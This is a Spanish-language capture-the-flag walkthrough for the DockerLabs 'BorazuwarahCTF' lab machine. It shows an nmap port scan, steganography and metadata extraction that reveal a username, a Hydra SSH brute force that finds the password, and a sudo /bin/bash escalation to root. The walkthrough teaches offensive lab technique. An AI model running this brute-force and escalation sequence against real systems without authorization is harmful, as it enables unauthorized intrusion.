BorazuwarahCTF

Autor: BorazuwarahCTF

ÍNDICE

Despliegue 3
Reconocimiento 3
Página Web (Puerto 80) 4
Estenografía 4
Hydra 5
SSH (Puerto 22) 6
Escalada de Privilegios 6

Despliegue

Primero desplegamos la máquina con bash auto_deploy.sh bozaruwarahctf.tar (si no sabes en la página de DockerLabs ahí un pdf que lo explica).

Reconocimiento

Una vez desplegada comprobamos que tenemos conectividad con ping -c 1 172.17.0.2

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.066 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.066/0.066/0.066/0.000 ms
```

-c 1 □ solo lo repite una vez

Ahora vamos con el reconocimiento de nmap nmap -p- --open --min-rate 5000 -sS -vvv -n -Pn 172.17.0.2 -oG allPorts

-p- □ aplicar reconocimiento a todos los puertos

--open □ solo a los que estén abiertos

--min-rate 5000 □ para enviar paquetes más rápido

-sS □ para descubrir puertos de manera silenciosa y rápida

-vvv □ conforme descubre un puerto nos lo muestra por pantalla

-n □ no aplica la resolución DNS (tarda mucho en el caso de que no pongamos dicho parámetro)

-Pn □ ignora si esta activa o no la IP

-oG □ exportamos el resultado en formato grepeable (para extraer mejor los datos con herramientas como grep, awk)

Podemos ver los resultados en el archivo grepeable haciendo cat allPorts, observamos que está abierto el puerto 22 y 80.

```
┌──(root㉿kali)-[/home/kali/dockerlabs/borazuwarahctf/nmap]
└─# cat allPorts
# Nmap 7.94SVN scan initiated Tue May 28 13:02:26 2024 as: nmap -p- --open -sS -vvv --min-rate 5000 -n -Pn -oG allPortsç 172.17.0.2
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 172.17.0.2 ()     Status: Up
Host: 172.17.0.2 ()     Ports: 22/open/tcp//ssh///, 80/open/tcp//http///        Ignored State: closed (65533)
# Nmap done at Tue May 28 13:02:27 2024 -- 1 IP address (1 host up) scanned in 1.18 seconds
```

Página Web (Puerto 80)

Al ver que aloja un servidor web, nos dirigimos a él poniendo en el buscador la ip que en este caso sería 172.17.0.2. Observamos que en dicho servidor web, hay una imagen de un kinder sorpresa, probamos a descargar la imagen con Click Derecho -> Guardar imagen como.

Estenografía

Una vez descargada la imagen, intentamos ver si hay algún archivo oculto dentro de esta imagen usando el comando steghide extract -sf imagen.jpeg, nos pedirá una passphrase como no tenemos le damos a enter y vemos que realmente si que había un archivo oculto llamado secreto.txt.

```
┌──(root㉿kali)-[/home/kali/dockerlabs/borazuwarahctf/content]
└─# steghide extract -sf imagen.jpeg
Enter passphrase:
wrote extracted data to "secreto.txt".
```

Para ver el contenido del archivo usaremos el comando cat secreto.txt y observamos lo siguiente:

```
┌──(root㉿kali)-[/home/kali/dockerlabs/borazuwarahctf/content]
└─# cat secreto.txt
Sigue buscando, aquí no está to solución
aunque te dejo una pista....
sigue buscando en la imagen!!!
```

Lo cual nos da una pista. Atendiendo a intentamos buscar más información dentro de esta imagen como son los metadatos de está usando la herramienta exiftool, por lo cual usando el comando exiftool imagen.jpeg nos reporta lo siguiente:

```
┌──(root㉿kali)-[/home/kali/dockerlabs/borazuwarahctf/content]
└─# exiftool imagen.jpeg
ExifTool Version Number         : 12.76
File Name                       : imagen.jpeg
Directory                       : .
File Size                       : 19 kB
File Modification Date/Time     : 2024:05:28 13:02:45-04:00
File Access Date/Time           : 2024:05:28 13:03:16-04:00
File Inode Change Date/Time     : 2024:05:28 13:03:06-04:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
XMP Toolkit                     : Image::ExifTool 12.76
Description                     : ========== User: borazuwarah ==========
Title                           : ========== Password:  ==========
Image Width                     : 455
Image Height                    : 455
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 455×455
Megapixels                      : 0.207
```

Observamos el nombre de un usuario llamado borazuwarah.

Hydra

Una vez conocemos el posible usuario aplicamos un ataque de fuerza fruta al puerto 22 (ssh) con hydra con el siguiente comando: hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2.
-h dirección IP de la máquina victima
-u nombre del posible usuario (borazuwarah)
-P ruta del rockyou. Para descargar el diccionario rockyou

Nos reporta lo siguiente:

```
┌──(root㉿kali)-[/home/kali/dockerlabs/borazuwarahctf/content]
└─# hydra -l borazuwarah -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-28 13:26:31
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduc
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a p
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~8965
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: borazuwarah   password: 123456
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-28 13:26:48
```

SSH (Puerto 22)

Por lo tanto ya conocemos un usuario y una contraseña por lo cual probamos a autenticarnos al servicio ssh con el siguiente comando ssh borazuwarah@172.17.0.2, y listo somos el usuario borazuwarah:

```
borazuwarah@2142bc0efc98:~$ whoami
borazuwarah
borazuwarah@2142bc0efc98:~$
```

Escalada de Privilegios

Ejecutamos el comando sudo -l.
-l □ listar comandos que podemos ejecutar como sudo

```
borazuwarah@2142bc0efc98:~$ sudo -l
Matching Defaults entries for borazuwarah on 2142bc0efc98:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User borazuwarah may run the following commands on 2142bc0efc98:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /bin/bash
borazuwarah@2142bc0efc98:~$
```

Observamos que podemos correr /bin/bash, por que hacemos sudo -u root /bin/bash que nos permitirá ejecutar la bash como root sin proporcionar contraseña, y listo ya somos root!

```
root@2142bc0efc98:/home/borazuwarah# whoami
root
root@2142bc0efc98:/home/borazuwarah#
```